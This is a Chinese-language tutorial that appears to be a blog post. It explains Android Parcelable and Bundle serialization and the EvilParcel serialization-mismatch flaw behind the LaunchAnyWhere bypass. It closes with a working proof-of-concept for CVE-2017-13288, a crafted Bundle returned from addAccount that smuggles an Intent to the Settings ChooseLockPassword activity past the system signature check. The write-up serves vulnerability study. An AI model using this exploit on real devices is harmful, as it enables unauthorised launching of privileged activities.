LaunchAnyWhere绕过原理

LaunchAnywhere 绕过原理

1 绕过前提

1.1 IPC基础概念介绍

1.1.1 Serializable接口

Serializable是Java提供的一个序列化接口,它是一个空接口,为对象标准的序列化和反序列化操作。使用Serializable来实现序列化相当简单,一句话即可。

1
2
3
public class User implements Serializable {
private static final long seriaVersionUID = 519067123721295773L
}

1.1.2 Parcelable接口

Parcel内部包装了可序列化的数据,可以在Binder中自由传输,在序列化过程中需要实现的功能有序列化、反序列化和内容描述序列化功能由writeToParcel方法来完成,最终是通过Parcel中的一系列write方法来完成的。

1.1.3 如何实现Parcelable接口

  1. describeContents方法:默认返回0即可

  2. writeToParcel方法:该方法将类的数据写入外部提供的Parcel中,即打包需要传输的数据到Parcel容器中保存,一遍从Parcel容器获取数据,声明如下:

    1
    2
    3
    4
    5
    6
    7
    8
    /** 
    * 将对象转换成一个 Parcel 对象
    * @param dest 表示要写入的 Parcel 对象
    * @param flags 示这个对象将如何写入
    */
    @Override
    public void writeToParcel(Parcel dest, int flags) {
    }
  3. 静态的Parcelable.Creator接口,接口有两个方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
     public interface Creator<T> {
    public T createFromParcel(Parcel source);
    public T[] newArray(int size);
    }


    public static final Parcelable.Creator<Course> CREATOR = new Parcelable.Creator<Course>() {
    //反序列化的方法,将Parcel还原成Java对象
    @Override
    public Course createFromParcel(Parcel source) {
    return new Course(source);
    }
    //提供给外部类反序列化这个数组使用。
    @Override
    public Course[] newArray(int size) {
    return new Course[size];
    }
    };

1.2 一个使用Parcelable的例子

1.2.1 封装数据

把实现parcelable接口的Person对象传递到TwoActivity里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class DemoActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 封装数据
Person p = new Person();
p.setId(1);
p.setName("xiaoming");
// 用Intent传递Person对象
Intent i = new Intent(this, TwoActivity.class);
i.putExtra("Person", p);
startActivity(i);
}
}

1.2.2 TwoActivity 获取数据

获取从DemoActivity传递的数据,并打印

1
2
3
4
5
6
7
8
9
10
11
12
13
public class TwoActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);

Person p = (Person)getIntent().getParcelableExtra("Person");

System.out.println("p_id"+p.getId());
System.out.println("p_name"+p.getName());
}
}

1.2.3 parcelable接口的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public class Person implements Parcelable{
// 成员变量
private int id;
private String name;

// 1.必须实现Parcelable.Creator接口,否则在获取Person数据的时候,会报错,如下:
// android.os.BadParcelableException:
// Parcelable protocol requires a Parcelable.Creator object called CREATOR on class com.um.demo.Person
// 2.这个接口实现了从Percel容器读取Person数据,并返回Person对象给逻辑层使用
// 3.实现Parcelable.Creator接口对象名必须为CREATOR,不如同样会报错上面所提到的错;
// 4.在读取Parcel容器里的数据事,必须按成员变量声明的顺序读取数据,不然会出现获取数据出错
// 5.反序列化对象
public static final Parcelable.Creator<Person> CREATOR = new Creator(){

@Override
public Person createFromParcel(Parcel source) {
// TODO Auto-generated method stub
// 必须按成员变量声明的顺序读取数据,不然会出现获取数据出错
Person p = new Person();
p.setId(source.readInt());
p.setName(source.readString());
return p;
}

@Override
public Person[] newArray(int size) {
// TODO Auto-generated method stub
return new Person[size];
}
};

public int getId() {
return id;
}

public void setId(int id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

@Override
public int describeContents() {
// TODO Auto-generated method stub
return 0;
}

@Override
public void writeToParcel(Parcel dest, int flags) {
// TODO Auto-generated method stub
// 1.必须按成员变量声明的顺序封装数据,不然会出现获取数据出错
// 2.序列化对象
dest.writeInt(id);
dest.writeString(name);
}
}

1.3 Bundle

可序列化的Parcelable对象一般不单独进行序列化传输,需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap,以Key-Value键值对的形式存储数据。例如, Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象,利用putExtra(key, value)方法,可以往Intent的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等,Parcel类中维护着这些类型信息。

1
2
3
4
5
6
7
8
9
10
11
> // Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
> private static final int VAL_NULL = -1;
> private static final int VAL_STRING = 0;
> private static final int VAL_INTEGER = 1;
> private static final int VAL_MAP = 2;
> private static final int VAL_BUNDLE = 3;
> private static final int VAL_PARCELABLE = 4;
> private static final int VAL_SHORT = 5;
> private static final int VAL_LONG = 6;
> private static final int VAL_FLOAT = 7;
>

对Bundle进行序列化的时候,依次写入携带所有数据的长度,Bundle魔数0x4C444E42和键值对BaseBundle.writeToParcelInner

1
2
3
4
5
6
7
8
9
10
11
12
> int lengthPos = parcel.dataPosition();
> parcel.writeInt(-1); // dummy, will hold length
> parcel.writeInt(BUNDLE_MAGIC);
> int startPos = parcel.dataPosition();
> parcel.writeArrayMapInternal(map);
> int endPos = parcel.dataPosition();
> // Backpatch length
> parcel.setDataPosition(lengthPos);
> int length = endPos - startPos;
> parcel.writeInt(length);
> parcel.setDataPosition(endPos);
>

1.4 简单总结

基于上一篇文章前面我们所知道的基础知识,可以知道一下内容:

  1. 存在Android 系统漏洞 Android-bug-7699048,它允许我们在App使用 AccountManagerService的时候,在AddAccount方法中返回任意Bundle,而如果在Bundle中可以实现任意的intent,以此达到ActivityLunchAnywhere的目的

  2. Bundle在App之间的通信是使用Parcelable完成序列化和反序列化并进行通信的,如下图所示

  3. google修复漏洞的原理是 检查了AddAccount中返回的intent所指向的Activity和AppB是否是有相同签名的。 如果不同将会抛出异常SecurityException

    在android-7.1.2_r39版本中,AccountManagerService对于AddAccount方法进行检查的源码如下 services/core/java/com/android/server/accounts/AccountManagerService.java:

    1586693832470

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    /**
    * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
    * security policy.
    *
    * In particular we want to make sure that the Authenticator doesn't try to trick
    * users
    * into launching aribtrary intents on the device via by tricking to
    * click authenticator
    * supplied entries in the system Settings app.
    */
    protected void checkKeyIntent(int authUid, Intent intent) throws SecurityException {
    intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
    | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
    | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
    long bid = Binder.clearCallingIdentity();
    try {
    PackageManager pm = mContext.getPackageManager();
    ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
    ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
    int targetUid = targetActivityInfo.applicationInfo.uid;
    if (PackageManager.SIGNATURE_MATCH != pm.checkSignatures(authUid, targetUid)) {
    String pkgName = targetActivityInfo.packageName;
    String activityName = targetActivityInfo.name;
    String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that " + "does not share a signature with the supplying authenticator (%s).";
    throw new SecurityException(
    String.format(tmpl, activityName, pkgName, mAccountType));
    }
    } finally {
    Binder.restoreCallingIdentity(bid);
    }
    }
  4. 在Bundle在App之间进行通过Bundle传递数据,在传递数据的时候会进行两次序列化和反反序列化的操作,而在第一次进行序列化之后,会对传输的Intent进行权限检查,检查的时间点就在第一次序列化并反序列化之后。

1586615251045

2 绕过

在和CVE-2017-13289同一批的漏洞中,有着一系列相同的问题,那就是,序列化和反序列化不匹配,利用构造的Bundle能巧妙的绕过system_service中对于intent的权限检查。

  • 通过发送和接收Intent对象,所有Android程序之间以及与操作系统之间都进行交互
  • 这些对象可以在Bundle对象中包含任意数量的键/值对。
  • 传输Intent时,将Bundle对象转换(序列化)为包裹在Parcel中的字节数组
  • 在从序列化Bundle中读取键和值后自动将其反序列化。
  • 在Bundle中,键是字符串,值几乎可以是任何值。可以是原始类型,字符串或具有原始类型或字符串的容器,它也可以是一个Parcelable对象。
  • 因此,Bundle中可以包含实现Parcelable接口的任何类型的对象。
  • 我们需要实现writeToParcel()和createFromParcel()方法来序列化和反序列化对象。

img

Bundle在序列化之后的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bundle ---> {
bundle_size; // 携带数据的长度
bindle_magic; // 0x4c444e42
number_of_entries; // 键值对的数量
key; // 键
value; // 值
}
key ---> {
key_length; // 键长度,2个字节为基本单位
key_v; // 键值
}
value ---> {
value_type; // 值类型
value_length; // 如果是可变长度的话,有这个
value_v; // 值的具体值
}

可以看到序列化之后的Bundle具有以下特点:

  1. 所有的键值对都是按顺序写入
  2. 在每个值之前都有指示值的类型
  3. 可变长度的数据大小在数据之前显示(字符串的长度,数组的字节数)
  4. 所有值都是4字节对齐的

2.1 trouble

所有键和值都按顺序写入Bundle,以便在访问序列化Bundle对象的任何键或值时,后者将完全反序列化,还初始化所有包含的Parcelable对象。

问题在于,实现Parcelable的某些系统类可能在 createFromParcel()writeToParcel()方法中包含错误。

在这些类中,在createFromParcel()中读取的字节数将与在writeToParcel()中写入的字节数不同。

如果将此类的对象放置在Bundle中,则重新序列化后,Bundle中的对象边界将更改。这为利用EvilParcel漏洞创造了条件。

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Demo implements Parcelable {
byte[] data;
public Demo() {
this.data = new byte[0];
}
protected Demo(Parcel in) {
int length = in.readInt();
data = new byte[length];
if (length > 0) {
in.readByteArray(data);
}
}
public static final Creator<Demo> CREATOR = new Creator<Demo>() {
@Override
public Demo createFromParcel(Parcel in) {
return new Demo(in);
}
};
@Override
public void writeToParcel(Parcel parcel, int i) {
parcel.writeInt(data.length);
parcel.writeByteArray(data);
}
}

如果数据数组大小为0,那么在创造对象的时候,会在createFromParcel中读取一个int(4个字节),同时在writeToParcel()写入两个int(8字节),第一个int通过显式调用writeInt()写入,第二个int在调用writeByteArray()时写入(因为在写入数组的时候,数组长度始终在Parcel的数组之前)。

在这种情况下,尝试在Bundle中放入一个数组长度为0的Demo对象:

1
2
3
4
Bundle bundle = new Bundle();
bundle.putParcelable("0",new Demo());
bundle.putInt("1", 1);
bundle,mMap;

序列化之后:

1586702053668

反序列化:

1
2
3
4
5
6
7
Parcel newParcel = Parcel.obtain();
newParcel.writeBundle(bundle);
newParcel.setDataPostion(0);

Bundle test = new Bundle(this,getClass.getClassLoader());
test.readFromParcel(newParcel);
test.keySet();

1586703114764

0x4C的位置,有一个不能识别的数字0x31

1586703361139

img

我们看到在反序列化期间在createFromParcel方法中读取了一个int而不是两个int。因此,从捆绑中读取所有后续值不正确。读取0x48处的0x0值作为下一个键的长度。读取0x64处的0x1值作为键。读取0x54处的0x31值作为value类型。没有类型0x31的值,因此readFromParcel()精心报告了一个异常。

2.2 如何绕过LaunchAnywhere检查

1586615251045

再看一遍这个图,AppB将Bunde序列化之后的数据传递给system_server,然后在system_server中检查{KEY_INTENT: intent}这个键值对。如果检查通过,那么就调用writeBundle进行第二次序列化,然后settings中反系列化后重新获得{KEY_INTENT: intent}

根据2.1所描述,如果第二次序列化和第一次反序列化过程不匹配,那么就有可能在system_server检查时不出现{KEY_INTENT:intent}键值对,而再第二次反序列化之后出现

3 一个案例

3.1 CVE-2017-13288

PeriodicAdvertisingReport .java

1586707272153

写为long读为int 经历一次不匹配的序列化之后,会错位4个字节。构造如下:

img

重点:

序列化和反序列化之后的解析过程不一致

在解析txPower的时候,序列化之后数值是Long,而解析的时候读取的是int,导致的后果就是,在txPower之后的所有数据,反序列化之后都相隔4个字节。

poc如下:在 addAcount中构造不匹配的android.bluetooth.le.PeriodicAdvertisingReport序列化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Log.v(TAG, "addAccount");

Bundle evilBundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel pcelData = Parcel.obtain();

// Manipulate the raw data of bundle Parcel
// Now we replace this right Parcel data to evil Parcel data
pcelData.writeInt(2); // number of elements in ArrayMap
/*****************************************/
// mismatched object
pcelData.writeString("mismatch");
pcelData.writeInt(4); // VAL_PACELABLE

// name of Class Loader
pcelData.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
pcelData.writeInt(1);//syncHandle
pcelData.writeInt(1);//txPower
pcelData.writeInt(1);//rssi
pcelData.writeInt(1);//dataStatus
pcelData.writeInt(1);// flag for data



pcelData.writeInt(0x130); //length of KEY_INTENT:evilIntent
// Evil object hide in PeriodicAdvertisingReport.mData
pcelData.writeString(AccountManager.KEY_INTENT);
pcelData.writeInt(4);
pcelData.writeString("android.content.Intent");// name of Class Loader
pcelData.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(pcelData, null); // Uri is null
pcelData.writeString(null); // mType is null
pcelData.writeInt(0x10000000); // Flags
pcelData.writeString(null); // mPackage is null
pcelData.writeString("com.android.settings");
pcelData.writeString("com.android.settings.ChooseLockPassword");
pcelData.writeInt(0); //mSourceBounds = null
pcelData.writeInt(0); // mCategories = null
pcelData.writeInt(0); // mSelector = null
pcelData.writeInt(0); // mClipData = null
pcelData.writeInt(-2); // mContentUserHint
pcelData.writeBundle(null);
///////////////////////////////////////
pcelData.writeString("Padding-Key");
pcelData.writeInt(0); // VAL_STRING
pcelData.writeString("Padding-Value"); //
int length = pcelData.dataSize();
Log.d(TAG, "length is " + Integer.toHexString(length));


bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);
bndlData.appendFrom(pcelData, 0, length);
bndlData.setDataPosition(0);
evilBundle.readFromParcel(bndlData);
Log.d(TAG, evilBundle.toString());

Parcel testData = Parcel.obtain();
evilBundle.writeToParcel(testData, 0);
byte[] raw = testData.marshall();
try {
FileOutputStream fos = new FileOutputStream("/sdcard/obj.pcl");
fos.write(raw);
fos.close();
} catch (FileNotFoundException e){
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
Log.d(TAG, evilBundle.toString());
return evilBundle;

参考

漏洞预警 | Android系统序列化、反序列化不匹配漏洞

Bundle风水——Android序列化与反序列化不匹配漏洞详解

EvilParcel vulnerabilities analysis